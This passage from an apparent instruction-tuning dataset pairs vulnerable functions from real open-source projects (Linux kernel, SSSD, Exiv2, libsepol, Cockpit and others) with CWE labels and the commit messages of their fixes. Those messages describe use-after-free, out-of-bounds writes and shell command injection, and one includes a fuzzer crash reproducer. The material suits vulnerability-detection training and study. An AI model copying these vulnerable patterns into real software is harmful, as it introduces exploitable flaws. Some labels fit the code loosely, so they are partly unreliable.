*asoc, long *timeo_p,\n\t\t\t\tsize_t msg_len, struct sock **orig_sk)\n{\n\tstruct sock *sk = asoc->base.sk;\n\tint err = 0;\n\tlong current_timeo = *timeo_p;\n\tDEFINE_WAIT(wait);\n\n\tpr_debug(\"%s: asoc:%p, timeo:%ld, msg_len:%zu\\n\", __func__, asoc,\n\t\t *timeo_p, msg_len);\n\n\t/* Increment the association's refcnt. */\n\tsctp_association_hold(asoc);\n\n\t/* Wait on the association specific sndbuf space. */\n\tfor (;;) {\n\t\tprepare_to_wait_exclusive(&asoc->wait, &wait,\n\t\t\t\t\t TASK_INTERRUPTIBLE);\n\t\tif (asoc->base.dead)\n\t\t\tgoto do_dead;\n\t\tif (!*timeo_p)\n\t\t\tgoto do_nonblock;\n\t\tif (sk->sk_err || asoc->state >= SCTP_STATE_SHUTDOWN_PENDING)\n\t\t\tgoto do_error;\n\t\tif (signal_pending(current))\n\t\t\tgoto do_interrupted;\n\t\tif (msg_len <= sctp_wspace(asoc))\n\t\t\tbreak;\n\n\t\t/* Let another process have a go. Since we are going\n\t\t * to sleep anyway.\n\t\t */\n\t\trelease_sock(sk);\n\t\tcurrent_timeo = schedule_timeout(current_timeo);\n\t\tlock_sock(sk);\n\t\tif (sk != asoc->base.sk) {\n\t\t\trelease_sock(sk);\n\t\t\tsk = asoc->base.sk;\n\t\t\tlock_sock(sk);\n\t\t}\n\n\t\t*timeo_p = current_timeo;\n\t}\n\nout:\n\t*orig_sk = sk;\n\tfinish_wait(&asoc->wait, &wait);\n\n\t/* Release the association's refcnt. */\n\tsctp_association_put(asoc);\n\n\treturn err;\n\ndo_dead:\n\terr = -ESRCH;\n\tgoto out;\n\ndo_error:\n\terr = -EPIPE;\n\tgoto out;\n\ndo_interrupted:\n\terr = sock_intr_errno(*timeo_p);\n\tgoto out;\n\ndo_nonblock:\n\terr = -EAGAIN;\n\tgoto out;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'sctp: return error if the asoc has been peeled off in sctp_wait_for_sndbuf\n\nAfter commit cea0cc80a677 (\"sctp: use the right sk after waking up from\nwait_buf sleep\"), it may change to lock another sk if the asoc has been\npeeled off in sctp_wait_for_sndbuf.\n\nHowever, the asoc's new sk could be already closed elsewhere, as it's in\nthe sendmsg context of the old sk that can't avoid the new sk's closing.\nIf the sk's last one refcnt is held by this asoc, later on after putting\nthis asoc, the new sk will be freed, while under it's own lock.\n\nThis patch is to revert that commit, but fix the old issue by returning\nerror under the old sk's lock.\n\nFixes: cea0cc80a677 (\"sctp: use the right sk after waking up from wait_buf sleep\")\nReported-by: syzbot+ac6ea7baa4432811eb50@syzkaller.appspotmail.com\nSigned-off-by: Xin Long \nAcked-by: Neil Horman \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void unzzip_cat_file(ZZIP_DIR* disk, char* name, FILE* out)\n{\n ZZIP_FILE* file = zzip_file_open (disk, name, 0);\n if (file) \n {\n\tchar buffer[1024]; int len;\n\twhile ((len = zzip_file_read (file, buffer, 1024))) \n\t{\n\t fwrite (buffer, 1, len, out);\n\t}\n\t\n\tzzip_file_close (file);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': '#68 ssize_t return value of zzip_file_read is a signed value being possibly -1'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: errno_t sssctl_run_command(const char *command)\n{\n int ret;\n\n DEBUG(SSSDBG_TRACE_FUNC, \"Running %s\\n\", command);\n\n ret = system(command);\n if (ret == -1) {\n DEBUG(SSSDBG_CRIT_FAILURE, \"Unable to execute %s\\n\", command);\n ERROR(\"Error while executing external command\\n\");\n return EFAULT;\n } else if (WEXITSTATUS(ret) != 0) {\n DEBUG(SSSDBG_CRIT_FAILURE, \"Command %s failed with [%d]\\n\",\n command, WEXITSTATUS(ret));\n ERROR(\"Error while executing external command\\n\");\n return EIO;\n }\n\n return EOK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-78'], 'message': 'TOOLS: replace system() with execvp() to avoid execution of user supplied command\n\n:relnote: A flaw was found in SSSD, where the sssctl command was\nvulnerable to shell command injection via the logs-fetch and\ncache-expire subcommands. This flaw allows an attacker to trick\nthe root user into running a specially crafted sssctl command,\nsuch as via sudo, to gain root access. The highest threat from this\nvulnerability is to confidentiality, integrity, as well as system\navailability.\nThis patch fixes a flaw by replacing system() with execvp().\n\n:fixes: CVE-2021-3621\n\nReviewed-by: Pavel B\u0159ezina '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void WebPImage::doWriteMetadata(BasicIo& outIo)\n {\n if (!io_->isopen()) throw Error(kerInputDataReadFailed);\n if (!outIo.isopen()) throw Error(kerImageWriteFailed);\n\n#ifdef EXIV2_DEBUG_MESSAGES\n std::cout << \"Writing metadata\" << std::endl;\n#endif\n\n byte data [WEBP_TAG_SIZE*3];\n DataBuf chunkId(WEBP_TAG_SIZE+1);\n chunkId.pData_ [WEBP_TAG_SIZE] = '\\0';\n\n io_->read(data, WEBP_TAG_SIZE * 3);\n uint64_t filesize = Exiv2::getULong(data + WEBP_TAG_SIZE, littleEndian);\n\n /* Set up header */\n if (outIo.write(data, WEBP_TAG_SIZE * 3) != WEBP_TAG_SIZE * 3)\n throw Error(kerImageWriteFailed);\n\n /* Parse Chunks */\n bool has_size = false;\n bool has_xmp = false;\n bool has_exif = false;\n bool has_vp8x = false;\n bool has_alpha = false;\n bool has_icc = iccProfileDefined();\n\n int width = 0;\n int height = 0;\n\n byte size_buff[WEBP_TAG_SIZE];\n Blob blob;\n\n if (exifData_.count() > 0) {\n ExifParser::encode(blob, littleEndian, exifData_);\n if (blob.size() > 0) {\n has_exif = true;\n }\n }\n\n if (xmpData_.count() > 0 && !writeXmpFromPacket()) {\n XmpParser::encode(xmpPacket_, xmpData_,\n XmpParser::useCompactFormat |\n XmpParser::omitAllFormatting);\n }\n has_xmp = xmpPacket_.size() > 0;\n std::string xmp(xmpPacket_);\n\n /* Verify for a VP8X Chunk First before writing in\n case we have any exif or xmp data, also check\n for any chunks with alpha frame/layer set */\n while ( !io_->eof() && (uint64_t) io_->tell() < filesize) {\n io_->read(chunkId.pData_, WEBP_TAG_SIZE);\n io_->read(size_buff, WEBP_TAG_SIZE);\n long size = Exiv2::getULong(size_buff, littleEndian);\n DataBuf payload(size);\n io_->read(payload.pData_, payload.size_);\n byte c;\n if ( payload.size_ % 2 ) io_->read(&c,1);\n\n /* Chunk with information about features\n used in the file. */\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8X) && !has_vp8x) {\n has_vp8x = true;\n }\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8X) && !has_size) {\n has_size = true;\n byte size_buf[WEBP_TAG_SIZE];\n\n // Fetch width - stored in 24bits\n memcpy(&size_buf, &payload.pData_[4], 3);\n size_buf[3] = 0;\n width = Exiv2::getULong(size_buf, littleEndian) + 1;\n\n // Fetch height - stored in 24bits\n memcpy(&size_buf, &payload.pData_[7], 3);\n size_buf[3] = 0;\n height = Exiv2::getULong(size_buf, littleEndian) + 1;\n }\n\n /* Chunk with with animation control data. */\n#ifdef __CHECK_FOR_ALPHA__ // Maybe in the future\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_ANIM) && !has_alpha) {\n has_alpha = true;\n }\n#endif\n\n /* Chunk with with lossy image data. */\n#ifdef __CHECK_FOR_ALPHA__ // Maybe in the future\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8) && !has_alpha) {\n has_alpha = true;\n }\n#endif\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8) && !has_size) {\n has_size = true;\n byte size_buf[2];\n\n /* Refer to this https://tools.ietf.org/html/rfc6386\n for height and width reference for VP8 chunks */\n\n // Fetch width - stored in 16bits\n memcpy(&size_buf, &payload.pData_[6], 2);\n width = Exiv2::getUShort(size_buf, littleEndian) & 0x3fff;\n\n // Fetch height - stored in 16bits\n memcpy(&size_buf, &payload.pData_[8], 2);\n height = Exiv2::getUShort(size_buf, littleEndian) & 0x3fff;\n }\n\n /* Chunk with with lossless image data. */\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8L) && !has_alpha) {\n if ((payload.pData_[4] & WEBP_VP8X_ALPHA_BIT) == WEBP_VP8X_ALPHA_BIT) {\n has_alpha = true;\n }\n }\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8L) && !has_size) {\n has_size = true;\n byte size_buf_w[2];\n byte size_buf_h[3];\n\n /* For VP8L chunks width & height are stored in 28 bits\n of a 32 bit field requires bitshifting to get actual\n sizes. Width and height are split even into 14 bits\n each. Refer to this https://goo.gl/bpgMJf */\n\n // Fetch width - 14 bits wide\n memcpy(&size_buf_w, &payload.pData_[1], 2);\n size_buf_w[1] &= 0x3F;\n width = Exiv2::getUShort(size_buf_w, littleEndian) + 1;\n\n // Fetch height - 14 bits wide\n memcpy(&size_buf_h, &payload.pData_[2], 3);\n size_buf_h[0] =\n ((size_buf_h[0] >> 6) & 0x3) |\n ((size_buf_h[1] & 0x3F) << 0x2);\n size_buf_h[1] =\n ((size_buf_h[1] >> 6) & 0x3) |\n ((size_buf_h[2] & 0xF) << 0x2);\n height = Exiv2::getUShort(size_buf_h, littleEndian) + 1;\n }\n\n /* Chunk with animation frame. */\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_ANMF) && !has_alpha) {\n if ((payload.pData_[5] & 0x2) == 0x2) {\n has_alpha = true;\n }\n }\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_ANMF) && !has_size) {\n has_size = true;\n byte size_buf[WEBP_TAG_SIZE];\n\n // Fetch width - stored in 24bits\n memcpy(&size_buf, &payload.pData_[6], 3);\n size_buf[3] = 0;\n width = Exiv2::getULong(size_buf, littleEndian) + 1;\n\n // Fetch height - stored in 24bits\n memcpy(&size_buf, &payload.pData_[9], 3);\n size_buf[3] = 0;\n height = Exiv2::getULong(size_buf, littleEndian) + 1;\n }\n\n /* Chunk with alpha data. */\n if (equalsWebPTag(chunkId, \"ALPH\") && !has_alpha) {\n has_alpha = true;\n }\n }\n\n /* Inject a VP8X chunk if one isn't available. */\n if (!has_vp8x) {\n inject_VP8X(outIo, has_xmp, has_exif, has_alpha,\n has_icc, width, height);\n }\n\n io_->seek(12, BasicIo::beg);\n while ( !io_->eof() && (uint64_t) io_->tell() < filesize) {\n io_->read(chunkId.pData_, 4);\n io_->read(size_buff, 4);\n\n long size = Exiv2::getULong(size_buff, littleEndian);\n\n DataBuf payload(size);\n io_->read(payload.pData_, size);\n if ( io_->tell() % 2 ) io_->seek(+1,BasicIo::cur); // skip pad\n\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8X)) {\n if (has_icc){\n payload.pData_[0] |= WEBP_VP8X_ICC_BIT;\n } else {\n payload.pData_[0] &= ~WEBP_VP8X_ICC_BIT;\n }\n\n if (has_xmp){\n payload.pData_[0] |= WEBP_VP8X_XMP_BIT;\n } else {\n payload.pData_[0] &= ~WEBP_VP8X_XMP_BIT;\n }\n\n if (has_exif) {\n payload.pData_[0] |= WEBP_VP8X_EXIF_BIT;\n } else {\n payload.pData_[0] &= ~WEBP_VP8X_EXIF_BIT;\n }\n\n if (outIo.write(chunkId.pData_, WEBP_TAG_SIZE) != WEBP_TAG_SIZE)\n throw Error(kerImageWriteFailed);\n if (outIo.write(size_buff, WEBP_TAG_SIZE) != WEBP_TAG_SIZE)\n throw Error(kerImageWriteFailed);\n if (outIo.write(payload.pData_, payload.size_) != payload.size_)\n throw Error(kerImageWriteFailed);\n if (outIo.tell() % 2) {\n if (outIo.write(&WEBP_PAD_ODD, 1) != 1) throw Error(kerImageWriteFailed);\n }\n\n if (has_icc) {\n if (outIo.write((const byte*)WEBP_CHUNK_HEADER_ICCP, WEBP_TAG_SIZE) != WEBP_TAG_SIZE) throw Error(kerImageWriteFailed);\n ul2Data(data, (uint32_t) iccProfile_.size_, littleEndian);\n if (outIo.write(data, WEBP_TAG_SIZE) != WEBP_TAG_SIZE) throw Error(kerImageWriteFailed);\n if (outIo.write(iccProfile_.pData_, iccProfile_.size_) != iccProfile_.size_) {\n throw Error(kerImageWriteFailed);\n }\n has_icc = false;\n }\n } else if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_ICCP)) {\n // Skip it altogether handle it prior to here :)\n } else if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_EXIF)) {\n // Skip and add new data afterwards\n } else if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_XMP)) {\n // Skip and add new data afterwards\n } else {\n if (outIo.write(chunkId.pData_, WEBP_TAG_SIZE) != WEBP_TAG_SIZE)\n throw Error(kerImageWriteFailed);\n if (outIo.write(size_buff, WEBP_TAG_SIZE) != WEBP_TAG_SIZE)\n throw Error(kerImageWriteFailed);\n if (outIo.write(payload.pData_, payload.size_) != payload.size_)\n throw Error(kerImageWriteFailed);\n }\n\n // Encoder required to pad odd sized data with a null byte\n if (outIo.tell() % 2) {\n if (outIo.write(&WEBP_PAD_ODD, 1) != 1) throw Error(kerImageWriteFailed);\n }\n }\n\n if (has_exif) {\n if (outIo.write((const byte*)WEBP_CHUNK_HEADER_EXIF, WEBP_TAG_SIZE) != WEBP_TAG_SIZE) throw Error(kerImageWriteFailed);\n us2Data(data, (uint16_t) blob.size()+8, bigEndian);\n ul2Data(data, (uint32_t) blob.size(), littleEndian);\n if (outIo.write(data, WEBP_TAG_SIZE) != WEBP_TAG_SIZE) throw Error(kerImageWriteFailed);\n if (outIo.write((const byte*)&blob[0], static_cast(blob.size())) != (long)blob.size())\n {\n throw Error(kerImageWriteFailed);\n }\n if (outIo.tell() % 2) {\n if (outIo.write(&WEBP_PAD_ODD, 1) != 1) throw Error(kerImageWriteFailed);\n }\n }\n\n if (has_xmp) {\n if (outIo.write((const byte*)WEBP_CHUNK_HEADER_XMP, WEBP_TAG_SIZE) != WEBP_TAG_SIZE) throw Error(kerImageWriteFailed);\n ul2Data(data, (uint32_t) xmpPacket().size(), littleEndian);\n if (outIo.write(data, WEBP_TAG_SIZE) != WEBP_TAG_SIZE) throw Error(kerImageWriteFailed);\n if (outIo.write((const byte*)xmp.data(), static_cast(xmp.size())) != (long)xmp.size()) {\n throw Error(kerImageWriteFailed);\n }\n if (outIo.tell() % 2) {\n if (outIo.write(&WEBP_PAD_ODD, 1) != 1) throw Error(kerImageWriteFailed);\n }\n }\n\n // Fix File Size Payload Data\n outIo.seek(0, BasicIo::beg);\n filesize = outIo.size() - 8;\n outIo.seek(4, BasicIo::beg);\n ul2Data(data, (uint32_t) filesize, littleEndian);\n if (outIo.write(data, WEBP_TAG_SIZE) != WEBP_TAG_SIZE) throw Error(kerImageWriteFailed);\n\n } // WebPImage::writeMetadata ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-125'], 'message': 'Improve bound checking in WebPImage::doWriteMetadata()'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void cil_reset_classpermission(struct cil_classpermission *cp)\n{\n\tif (cp == NULL) {\n\t\treturn;\n\t}\n\n\tcil_reset_classperms_list(cp->classperms);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'libsepol/cil: Destroy classperms list when resetting classpermission\n\nNicolas Iooss reports:\n A few months ago, OSS-Fuzz found a crash in the CIL compiler, which\n got reported as\n https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=28648 (the title\n is misleading, or is caused by another issue that conflicts with the\n one I report in this message). Here is a minimized CIL policy which\n reproduces the issue:\n\n (class CLASS (PERM))\n (classorder (CLASS))\n (sid SID)\n (sidorder (SID))\n (user USER)\n (role ROLE)\n (type TYPE)\n (category CAT)\n (categoryorder (CAT))\n (sensitivity SENS)\n (sensitivityorder (SENS))\n (sensitivitycategory SENS (CAT))\n (allow TYPE self (CLASS (PERM)))\n (roletype ROLE TYPE)\n (userrole USER ROLE)\n (userlevel USER (SENS))\n (userrange USER ((SENS)(SENS (CAT))))\n (sidcontext SID (USER ROLE TYPE ((SENS)(SENS))))\n\n (classpermission CLAPERM)\n\n (optional OPT\n (roletype nonexistingrole nonexistingtype)\n (classpermissionset CLAPERM (CLASS (PERM)))\n )\n\n The CIL policy fuzzer (which mimics secilc built with clang Address\n Sanitizer) reports:\n\n ==36541==ERROR: AddressSanitizer: heap-use-after-free on address\n 0x603000004f98 at pc 0x56445134c842 bp 0x7ffe2a256590 sp\n 0x7ffe2a256588\n READ of size 8 at 0x603000004f98 thread T0\n #0 0x56445134c841 in __cil_verify_classperms\n /selinux/libsepol/src/../cil/src/cil_verify.c:1620:8\n #1 0x56445134a43e in __cil_verify_classpermission\n /selinux/libsepol/src/../cil/src/cil_verify.c:1650:9\n #2 0x56445134a43e in __cil_pre_verify_helper\n /selinux/libsepol/src/../cil/src/cil_verify.c:1715:8\n #3 0x5644513225ac in cil_tree_walk_core\n /selinux/libsepol/src/../cil/src/cil_tree.c:272:9\n #4 0x564451322ab1 in cil_tree_walk\n /selinux/libsepol/src/../cil/src/cil_tree.c:316:7\n #5 0x5644513226af in cil_tree_walk_core\n /selinux/libsepol/src/../cil/src/cil_tree.c:284:9\n #6 0x564451322ab1 in cil_tree_walk\n /selinux/libsepol/src/../cil/src/cil_tree.c:316:7\n #7 0x5644512b88fd in cil_pre_verify\n /selinux/libsepol/src/../cil/src/cil_post.c:2510:7\n #8 0x5644512b88fd in cil_post_process\n /selinux/libsepol/src/../cil/src/cil_post.c:2524:7\n #9 0x5644511856ff in cil_compile\n /selinux/libsepol/src/../cil/src/cil.c:564:7\n\nThe classperms list of a classpermission rule is created and filled\nin when classpermissionset rules are processed, so it doesn't own any\npart of the list and shouldn't retain any of it when it is reset.\n\nDestroy the classperms list (without destroying the data in it) when\nresetting a classpermission rule.\n\nReported-by: Nicolas Iooss \nSigned-off-by: James Carter '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr,\n\t\t\t unsigned int *size)\n{\n\tconst struct xt_match *match = m->u.kernel.match;\n\tstruct compat_xt_entry_match *cm = (struct compat_xt_entry_match *)m;\n\tint pad, off = xt_compat_match_offset(match);\n\tu_int16_t msize = cm->u.user.match_size;\n\tchar name[sizeof(m->u.user.name)];\n\n\tm = *dstptr;\n\tmemcpy(m, cm, sizeof(*cm));\n\tif (match->compat_from_user)\n\t\tmatch->compat_from_user(m->data, cm->data);\n\telse\n\t\tmemcpy(m->data, cm->data, msize - sizeof(*cm));\n\tpad = XT_ALIGN(match->matchsize) - match->matchsize;\n\tif (pad > 0)\n\t\tmemset(m->data + match->matchsize, 0, pad);\n\n\tmsize += off;\n\tm->u.user.match_size = msize;\n\tstrlcpy(name, match->name, sizeof(name));\n\tmodule_put(match->me);\n\tstrncpy(m->u.user.name, name, sizeof(m->u.user.name));\n\n\t*size += off;\n\t*dstptr += msize;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'netfilter: x_tables: fix compat match/target pad out-of-bound write\n\nxt_compat_match/target_from_user doesn't check that zeroing the area\nto start of next rule won't write past end of allocated ruleset blob.\n\nRemove this code and zero the entire blob beforehand.\n\nReported-by: syzbot+cfc0247ac173f597aaaa@syzkaller.appspotmail.com\nReported-by: Andy Nguyen \nFixes: 9fa492cdc160c (\"[NETFILTER]: x_tables: simplify compat API\")\nSigned-off-by: Florian Westphal \nSigned-off-by: Pablo Neira Ayuso '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: compat_calc_match(struct ipt_entry_match *m, int * size)\n{\n\tif (m->u.kernel.match->compat)\n\t\tm->u.kernel.match->compat(m, NULL, size, COMPAT_CALC_SIZE);\n\telse\n\t\txt_compat_match(m, NULL, size, COMPAT_CALC_SIZE);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': '[NETFILTER]: x_tables: simplify compat API\n\nSplit the xt_compat_match/xt_compat_target into smaller type-safe functions\nperforming just one operation. Handle all alignment and size-related\nconversions centrally in these function instead of requiring each module to\nimplement a full-blown conversion function. Replace ->compat callback by\n->compat_from_user and ->compat_to_user callbacks, responsible for\nconverting just a single private structure.\n\nSigned-off-by: Patrick McHardy \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: cockpit_auth_login_finish (CockpitAuth *self,\n GAsyncResult *result,\n GIOStream *connection,\n GHashTable *headers,\n GError **error)\n{\n JsonObject *body = NULL;\n CockpitCreds *creds = NULL;\n CockpitSession *session = NULL;\n gboolean force_secure;\n gchar *cookie_name;\n gchar *cookie_b64;\n gchar *header;\n gchar *id;\n\n g_return_val_if_fail (g_simple_async_result_is_valid (result, G_OBJECT (self),\n cockpit_auth_login_async), NULL);\n\n g_object_ref (result);\n session = g_simple_async_result_get_op_res_gpointer (G_SIMPLE_ASYNC_RESULT (result));\n\n if (g_simple_async_result_propagate_error (G_SIMPLE_ASYNC_RESULT (result), error))\n goto out;\n\n g_return_val_if_fail (session != NULL, NULL);\n g_return_val_if_fail (session->result == NULL, NULL);\n\n cockpit_session_reset (session);\n\n if (session->authorize)\n {\n if (build_authorize_challenge (self, session->authorize, connection,\n headers, &body, &session->conversation))\n {\n if (session->conversation)\n {\n reset_authorize_timeout (session, TRUE);\n g_hash_table_replace (self->conversations, session->conversation, cockpit_session_ref (session));\n }\n }\n }\n\n if (session->initialized)\n {\n /* Start off in the idling state, and begin a timeout during which caller must do something else */\n on_web_service_idling (session->service, session);\n creds = cockpit_web_service_get_creds (session->service);\n\n id = cockpit_auth_nonce (self);\n session->cookie = g_strdup_printf (\"v=2;k=%s\", id);\n g_hash_table_insert (self->sessions, session->cookie, cockpit_session_ref (session));\n g_free (id);\n\n if (headers)\n {\n if (self->flags & COCKPIT_AUTH_FOR_TLS_PROXY)\n force_secure = TRUE;\n else\n force_secure = connection ? !G_IS_SOCKET_CONNECTION (connection) : TRUE;\n cookie_name = application_cookie_name (cockpit_creds_get_application (creds));\n cookie_b64 = g_base64_encode ((guint8 *)session->cookie, strlen (session->cookie));\n header = g_strdup_printf (\"%s=%s; Path=/; %s HttpOnly\",\n cookie_name, cookie_b64,\n force_secure ? \" Secure;\" : \"\");\n g_free (cookie_b64);\n g_free (cookie_name);\n g_hash_table_insert (headers, g_strdup (\"Set-Cookie\"), header);\n }\n\n if (body)\n json_object_unref (body);\n body = cockpit_creds_to_json (creds);\n }\n else\n {\n g_set_error (error, COCKPIT_ERROR, COCKPIT_ERROR_AUTHENTICATION_FAILED,\n \"Authentication failed\");\n }\n\nout:\n self->startups--;\n g_object_unref (result);\n\n /* Successful login */\n if (creds)\n g_info (\"User %s logged into session %s\",\n cockpit_creds_get_user (creds),\n cockpit_web_service_get_id (session->service));\n\n return body;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-1021'], 'message': 'ws: Restrict our cookie to the login host only\n\nMark our cookie as `SameSite: Strict` [1]. The current `None` default\nwill soon be moved to `Lax` by Firefox and Chromium, and recent versions\nstarted to throw a warning about it.\n\n[1] https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite\n\nhttps://bugzilla.redhat.com/show_bug.cgi?id=1891944'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void nested_vmcb02_prepare_control(struct vcpu_svm *svm)\n{\n\tconst u32 mask = V_INTR_MASKING_MASK | V_GIF_ENABLE_MASK | V_GIF_MASK;\n\tstruct kvm_vcpu *vcpu = &svm->vcpu;\n\n\t/*\n\t * Filled at exit: exit_code, exit_code_hi, exit_info_1, exit_info_2,\n\t * exit_int_info, exit_int_info_err, next_rip, insn_len, insn_bytes.\n\t */\n\n\t/*\n\t * Also covers avic_vapic_bar, avic_backing_page, avic_logical_id,\n\t * avic_physical_id.\n\t */\n\tWARN_ON(kvm_apicv_activated(svm->vcpu.kvm));\n\n\t/* Copied from vmcb01. msrpm_base can be overwritten later. */\n\tsvm->vmcb->control.nested_ctl = svm->vmcb01.ptr->control.nested_ctl;\n\tsvm->vmcb->control.iopm_base_pa = svm->vmcb01.ptr->control.iopm_base_pa;\n\tsvm->vmcb->control.msrpm_base_pa = svm->vmcb01.ptr->control.msrpm_base_pa;\n\n\t/* Done at vmrun: asid. */\n\n\t/* Also overwritten later if necessary. */\n\tsvm->vmcb->control.tlb_ctl = TLB_CONTROL_DO_NOTHING;\n\n\t/* nested_cr3. */\n\tif (nested_npt_enabled(svm))\n\t\tnested_svm_init_mmu_context(vcpu);\n\n\tsvm->vmcb->control.tsc_offset = vcpu->arch.tsc_offset =\n\t\tvcpu->arch.l1_tsc_offset + svm->nested.ctl.tsc_offset;\n\n\tsvm->vmcb->control.int_ctl =\n\t\t(svm->nested.ctl.int_ctl & ~mask) |\n\t\t(svm->vmcb01.ptr->control.int_ctl & mask);\n\n\tsvm->vmcb->control.virt_ext = svm->nested.ctl.virt_ext;\n\tsvm->vmcb->control.int_vector = svm->nested.ctl.int_vector;\n\tsvm->vmcb->control.int_state = svm->nested.ctl.int_state;\n\tsvm->vmcb->control.event_inj = svm->nested.ctl.event_inj;\n\tsvm->vmcb->control.event_inj_err = svm->nested.ctl.event_inj_err;\n\n\tsvm->vmcb->control.pause_filter_count = svm->nested.ctl.pause_filter_count;\n\tsvm->vmcb->control.pause_filter_thresh = svm->nested.ctl.pause_filter_thresh;\n\n\tnested_svm_transition_tlb_flush(vcpu);\n\n\t/* Enter Guest-Mode */\n\tenter_guest_mode(vcpu);\n\n\t/*\n\t * Merge guest and host intercepts - must be called with vcpu in\n\t * guest-mode to take effect.\n\t */\n\trecalc_intercepts(svm);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-862'], 'message': 'KVM: nSVM: avoid picking up unsupported bits from L2 in int_ctl (CVE-2021-3653)\n\n* Invert the mask of bits that we pick from L2 in\n nested_vmcb02_prepare_control\n\n* Invert and explicitly use VIRQ related bits bitmask in svm_clear_vintr\n\nThis fixes a security issue that allowed a malicious L1 to run L2 with\nAVIC enabled, which allowed the L2 to exploit the uninitialized and enabled\nAVIC to read/write the host physical memory at some offsets.\n\nFixes: 3d6368ef580a (\"KVM: SVM: Add VMRUN handler\")\nSigned-off-by: Maxim Levitsky \nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Pl_AES_PDF::flush(bool strip_padding)\n{\n assert(this->offset == this->buf_size);\n\n if (first)\n {\n\tfirst = false;\n bool return_after_init = false;\n\tif (this->cbc_mode)\n\t{\n\t if (encrypt)\n\t {\n\t\t// Set cbc_block to the initialization vector, and if\n\t\t// not zero, write it to the output stream.\n\t\tinitializeVector();\n if (! (this->use_zero_iv || this->use_specified_iv))\n {\n getNext()->write(this->cbc_block, this->buf_size);\n }\n\t }\n\t else if (this->use_zero_iv || this->use_specified_iv)\n {\n // Initialize vector with zeroes; zero vector was not\n // written to the beginning of the input file.\n initializeVector();\n }\n else\n\t {\n\t\t// Take the first block of input as the initialization\n\t\t// vector. There's nothing to write at this time.\n\t\tmemcpy(this->cbc_block, this->inbuf, this->buf_size);\n\t\tthis->offset = 0;\n return_after_init = true;\n\t }\n\t}\n this->crypto->rijndael_init(\n encrypt, this->key.get(), key_bytes,\n this->cbc_mode, this->cbc_block);\n if (return_after_init)\n {\n return;\n }\n }\n\n if (this->encrypt)\n {\n\tthis->crypto->rijndael_process(this->inbuf, this->outbuf);\n }\n else\n {\n\tthis->crypto->rijndael_process(this->inbuf, this->outbuf);\n }\n unsigned int bytes = this->buf_size;\n if (strip_padding)\n {\n\tunsigned char last = this->outbuf[this->buf_size - 1];\n\tif (last <= this->buf_size)\n\t{\n\t bool strip = true;\n\t for (unsigned int i = 1; i <= last; ++i)\n\t {\n\t\tif (this->outbuf[this->buf_size - i] != last)\n\t\t{\n\t\t strip = false;\n\t\t break;\n\t\t}\n\t }\n\t if (strip)\n\t {\n\t\tbytes -= 